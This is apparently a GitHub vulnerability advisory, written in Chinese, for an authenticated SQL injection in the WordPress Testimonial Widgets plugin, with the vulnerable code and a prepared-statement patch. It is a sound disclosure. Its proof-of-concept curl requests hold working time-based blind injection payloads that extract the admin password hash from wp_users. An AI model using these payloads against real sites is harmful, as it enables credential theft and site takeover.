Kimdir01/testimonial-widgets-sqli-cve
GitHub: Kimdir01/testimonial-widgets-sqli-cve
该项目披露了 WordPress Testimonial Widgets 插件后台管理面板中通过 search 参数触发的已认证 SQL 注入漏洞(CVSS 7.2),并提供完整的 PoC 与修复方案。
Stars: 0 | Forks: 0
# CVE-2026-XXXXX
## 通过 Search 参数在 Testimonial Widgets WordPress 插件中触发管理员 SQL 注入
### 漏洞公告信息
| 字段 | 值 |
|-------|-------|
| **生态系统** | WordPress Plugin |
| **包/产品** | Testimonial Widgets |
| **受影响版本** | 直至 SVN r3587815 的所有版本 |
| **修复版本** | 无 |
| **严重程度** | **高 (CVSS 7.2)** |
| **CWE** | CWE-89 (SQL 注入) |
| **CVSS 向量** | CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H |
| **插件 Slug** | `testimonial-widgets` |
| **活跃安装量** | 10,000+ |
| **代码库** | https://plugins.svn.wordpress.org/testimonial-widgets/ |
### 概要
Testimonial Widgets 插件的后台管理面板中存在一个已认证的 SQL 注入漏洞。来自 `$_GET` 的 `search` 参数仅通过 `sanitize_text_field()` 进行了清理——这并不能防止 SQL 注入——随后在未使用 `$wpdb->prepare()` 的情况下被直接拼接到了 SQL `LIKE` 子句中。
### 受影响组件
| 字段 | 值 |
|-------|-------|
| **生态系统** | WordPress Plugin |
| **包** | testimonial-widgets |
| **供应商** | Trustindex |
| **受影响版本** | 所有版本 (SVN r3587815) |
| **修复版本** | 无 |
| **文件** | `testimonials-plugin.class.php`,第 4042 行 |
### 描述
位于 `tabs/index-widget-header.php` 的插件后台小部件列表页面接收一个 `search` GET 参数,应用了 `sanitize_text_field()` 处理,然后将其传递给 `get_widgets()` 函数,该函数直接在 SQL 中使用了此参数:
**漏洞代码:**
`tabs/index-widget-header.php` (第 4–8 行):
```
$search = null;
if(isset($_GET['search'])) {
$search = sanitize_text_field($_GET['search']); // ❌ No SQL escaping
}
$widgets = $trustindex_testimonials_pm->get_widgets($order_by, $order, $search);
```
`testimonials-plugin.class.php` (第 4038–4042 行):
```
public function get_widgets($order_by = "id", $order = "asc", $search = null) {
$dbtable = $this->get_widget_tablename();
$sql = "SELECT * FROM $dbtable";
if ($search) {
$sql .= " WHERE name LIKE '%{$search}%'"; // ← NO $wpdb->prepare()!
}
$results = $wpdb->get_results($sql); // ← SQL injection via $search
}
```
`sanitize_text_field()` 仅去除 HTML 标签和无效的 UTF-8 字符——它并不会转义 `'`、`"` 或 `--` 等 SQL 特殊字符。
### 概念验证
**环境:** 启用了 Testimonial Widgets 插件的 WordPress 6.x,以管理员身份认证。
**PoC — 基于时间的盲注 (Time-Based Blind SQL Injection):**
```
# 需要 Admin access (PR:H)
curl "http://target/wp-admin/admin.php?page=testimonial-widgets&search=test'+AND+SLEEP(5)--+"
# 5+秒的响应延迟确认了 SQL injection
```
**PoC — 凭据提取:**
```
curl "http://target/wp-admin/admin.php?page=testimonial-widgets&search=test'+AND+IF(SUBSTRING((SELECT+user_pass+FROM+wp_users+WHERE+ID=1),1,1)='$',SLEEP(5),0)--+"
# admin 密码哈希的迭代字符提取
```
**执行流程:**
1. 管理员在 URL 中携带 `search` 参数访问推荐小部件列表页面
2. `sanitize_text_field()` 剥离了 HTML,但放行了 SQL 元字符
3. 原始字符串被直接插值到 `LIKE '%{$search}%'` 中
4. `$wpdb->get_results()` 执行了被注入的 SQL
5. 基于时间的盲注可提取用户密码哈希
### 影响
| CIA | 等级 | 描述 |
|-----|-------|-------------|
| 机密性 | **高** | 通过基于时间的盲注提取 WordPress 用户密码哈希 |
| 完整性 | **高** | 破解管理员哈希 → 导致整站沦陷 |
| 可用性 | **低** | 仅限于通过盲注提取数据 |
**前提条件:** 管理员权限认证 (PR:H)。CVSS 7.2。
### 补丁
使用 `$wpdb->prepare()` 替换字符串插值:
```
if ($search) {
- $sql .= " WHERE name LIKE '%{$search}%'";
+ $sql .= $wpdb->prepare(" WHERE name LIKE %s", '%' . $wpdb->esc_like($search) . '%');
}
```
或者在用于 SQL 之前应用 `esc_sql()`,或者针对 LIKE 子句结合使用 `$wpdb->prepare()` 和 `$wpdb->esc_like()`。
### 参考
| 类型 | URL |
|------|-----|
| WordPress.org | https://wordpress.org/plugins/testimonial-widgets/ |
| 漏洞代码 | https://plugins.svn.wordpress.org/testimonial-widgets/trunk/testimonials-plugin.class.php |
| $wpdb::prepare() | https://developer.wordpress.org/reference/classes/wpdb/prepare/ |
| CWE-89 | https://cwe.mitre.org/data/definitions/89.html |
### 验证
```
svn co https://plugins.svn.wordpress.org/testimonial-widgets/trunk/ tw-verify
cd tw-verify
grep -n "LIKE.*%{\$search}%" testimonials-plugin.class.php
# 输出:4042: $sql .= " WHERE name LIKE '%{$search}%'";
grep -n "sanitize_text_field.*search" tabs/index-widget-header.php
# 输出:7: $search = sanitize_text_field($_GET['search']);
```
**验证状态:✅ 所有检查通过**
### 时间线
| 日期 | 事件 |
|------|-------|
| 2026-06-27 | 通过自动化扫描器发现漏洞并进行了人工验证 |
| 2026-06-27 | 通过非公开披露渠道通知了供应商 |
| 待定 + 90 天 | 协调公开披露 |
### CVSS v3.1
```
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H — 7.2 HIGH
AV:N — Remote over HTTP
AC:L — Simple GET request
PR:H — Requires admin authentication
UI:N — No user interaction
S:U — Same security context
C:H — Extract password hashes via subquery
I:H — Crack hash → admin → modify site
A:H — Admin → delete all content
```
标签:CISA项目, PoC, Web安全, WordPress插件, 多线程, 文件完整性监控, 暴力破解, 蓝队分析